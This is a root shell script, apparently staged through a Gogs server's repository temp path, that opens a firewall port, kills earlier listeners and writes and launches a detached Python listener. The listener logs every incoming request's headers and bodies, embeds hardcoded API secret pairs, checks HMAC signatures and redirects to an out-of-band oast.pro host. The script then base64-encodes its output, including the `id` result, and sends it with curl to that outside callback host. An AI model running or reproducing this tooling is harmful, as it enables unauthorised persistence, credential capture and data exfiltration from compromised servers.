#!/bin/sh
TAG="dep2a"
OUT="/root/gogs/data/tmp/local-repo/5878/_deploy2_$TAG.txt"
{
  echo "tag=$TAG uid=$(id) date=$(date -u +%s)"
  iptables -I INPUT -p tcp --dport 18081 -j ACCEPT 2>&1
  pkill -f pz_listener.py 2>/dev/null
  pkill -f pz_listener2.py 2>/dev/null
  sleep 1
  cat > /root/pz_listener2.py <<'PYEOF'
#!/usr/bin/env python3
import http.server, socketserver, time, json, re, hashlib, hmac

LOG = '/root/pz_cb2.log'
SECRETS = {
 'GNMiqG0ojRX4AO8UB1FK8SMneb5WxDcBpN6UOsESHXIs': 's0G5uokBZtrIQxL4xnm4W80Op5ly8rirOH8h6nhZFCD1',
 'h6kznpsItkU46EDZtkimyZglbpSacabcP6REveZUkhXK': 'X6cCYrok5BDsO1WfrhWiSx9fjJuM0AHMOyiALNNwnFXO',
 'aRKY08Gc37dZi2kJP7eSGZvuoHBX0GuiiQRM69rg5WRx': 'c1F7e7xkAEFXSDb6CkEoGz1YH6K-gDtRil8E_Ge0eFTY',
}

def gen(code, secret, nonce, endpoint, body, method, ct):
    m = hashlib.sha3_512()
    for p in [b'\0', code.encode(), b'\0', secret.encode(), b'\0', nonce.encode(), b'\0',
              method.encode(), b'\0', endpoint.encode(), b'\0', ct.encode(), b'\0', body, b'\0']:
        m.update(p)
    return m.hexdigest()

class H(http.server.BaseHTTPRequestHandler):
    protocol_version = 'HTTP/1.1'
    def log_message(self, *a):
        pass
    def _send(self, code, body=b'', extra=None):
        try:
            self.send_response(code)
            if extra:
                for k, v in extra.items():
                    self.send_header(k, v)
            self.send_header('Content-Length', str(len(body)))
            self.end_headers()
            if body:
                self.wfile.write(body)
        except Exception:
            pass
    def _record(self, body):
        try:
            hd = {}
            for k in self.headers.keys():
                v = self.headers.get(k, '')
                hd[k] = v[:300]
            rec = {'ts': round(time.time(), 3), 'iso': time.strftime('%Y-%m-%dT%H:%M:%SZ', time.gmtime()),
                   'client': self.client_address[0], 'method': self.command, 'path': self.path,
                   'headers': hd, 'body': body[:1000].decode('utf-8', 'replace')}
            with open(LOG, 'a') as f:
                f.write(json.dumps(rec, ensure_ascii=False) + '\n')
        except Exception:
            pass
    def _handle(self, body):
        self._record(body)
        base = self.path.split('?')[0]
        qs = self.path.split('?', 1)[1] if '?' in self.path else ''
        m = re.match(r'^/st/(\d{3})(?:/(.*))?$', base)
        if m:
            code = int(m.group(1))
            tag = m.group(2) or ''
            self._send(code, ('st=%d tag=%s' % (code, tag)).encode())
            return
        if base == '/dump':
            try:
                n = 200
                if qs.startswith('n='):
                    n = max(1, min(5000, int(qs[2:])))
                with open(LOG, 'r') as f:
                    lines = f.readlines()[-n:]
                self._send(200, ''.join(lines).encode('utf-8', 'replace'), {'Content-Type': 'text/plain; charset=utf-8'})
            except Exception as e:
                self._send(200, ('ERR ' + repr(e)).encode())
            return
        if base == '/reset':
            try:
                open(LOG, 'w').close()
            except Exception:
                pass
            self._send(200, b'reset')
            return
        if base.startswith('/secret'):
            sec = self.headers.get('Profile-Secret-Key') or ''
            ok = sec in SECRETS.values()
            self._send(200 if ok else 401, ('secret_ok=%s' % ok).encode())
            return
        if base.startswith('/val'):
            sec = self.headers.get('Profile-Secret-Key') or ''
            nonce = self.headers.get('ApiKeyAuth-Nonce') or ''
            mac = (self.headers.get('ApiKeyAuth-Mac') or '').lower()
            apikey = self.headers.get('ApiKeyAuth-Key') or ''
            ct = self.headers.get('Content-Type') or ''
            code = None
            for pc, s in SECRETS.items():
                if s == sec:
                    code = pc
            variants = []
            if code:
                endpoints = [base]
                if qs:
                    endpoints.append(base + '?' + qs)
                for ep in endpoints:
                    for c in {ct, ''}:
                        for cc in {code, apikey}:
                            if not cc:
                                continue
                            variants.append((cc, ep, c, self.command))
            hit = None
            for cc, ep, c, meth in variants:
                if hmac.compare_digest(gen(cc, sec, nonce, ep, body, meth, c), mac):
                    hit = {'code': cc[:12], 'ep': ep, 'ct': c, 'method': meth}
                    break
            self._record(('VALRESULT ' + json.dumps({'secret_known': bool(code), 'nonce': nonce, 'ct': ct, 'hit': hit})).encode())
            self._send(200 if hit else 401, ('val=%s' % bool(hit)).encode())
            return
        if base.startswith('/redir'):
            self._send(302, b'', {'Location': 'http://cd4547282df75cd148ebcbfcf32c8ee45.oast.pro/redirected'})
            return
        self._send(200, b'ok')
    def do_GET(self):
        self._handle(b'')
    def do_POST(self):
        try:
            ln = int(self.headers.get('Content-Length') or 0)
            body = self.rfile.read(ln) if ln else b''
        except Exception:
            body = b''
        self._handle(body)
    def do_HEAD(self):
        self._handle(b'')

socketserver.ThreadingTCPServer.allow_reuse_address = True
httpd = socketserver.ThreadingTCPServer(('0.0.0.0', 18081), H)
httpd.daemon_threads = True
httpd.serve_forever()
PYEOF
  setsid nohup /usr/bin/python3 /root/pz_listener2.py >/root/pz_listener2.out 2>&1 < /dev/null &
  sleep 2
  echo "--- ps ---"; ps aux | grep pz_listener2 | grep -v grep
  echo "--- selftest ---"; curl -s -m 3 -o /dev/null -w "%{http_code}\n" http://127.0.0.1:18081/st/418/t
  echo "--- dump ---"; curl -s -m 3 "http://127.0.0.1:18081/dump?n=3"
  echo "--- listen ---"; (ss -ltnp 2>/dev/null || netstat -ltnp 2>/dev/null) | grep 1808
} > "$OUT" 2>&1
D=$( base64 -w0 < "$OUT" 2>/dev/null | tr '+/' '-_' | tr -d '=' )
curl -s -m 15 -o /dev/null "http://cd4547282df75cd148ebcbfcf32c8ee45.oast.pro/deploy2/$TAG/$D" || true
exit 0
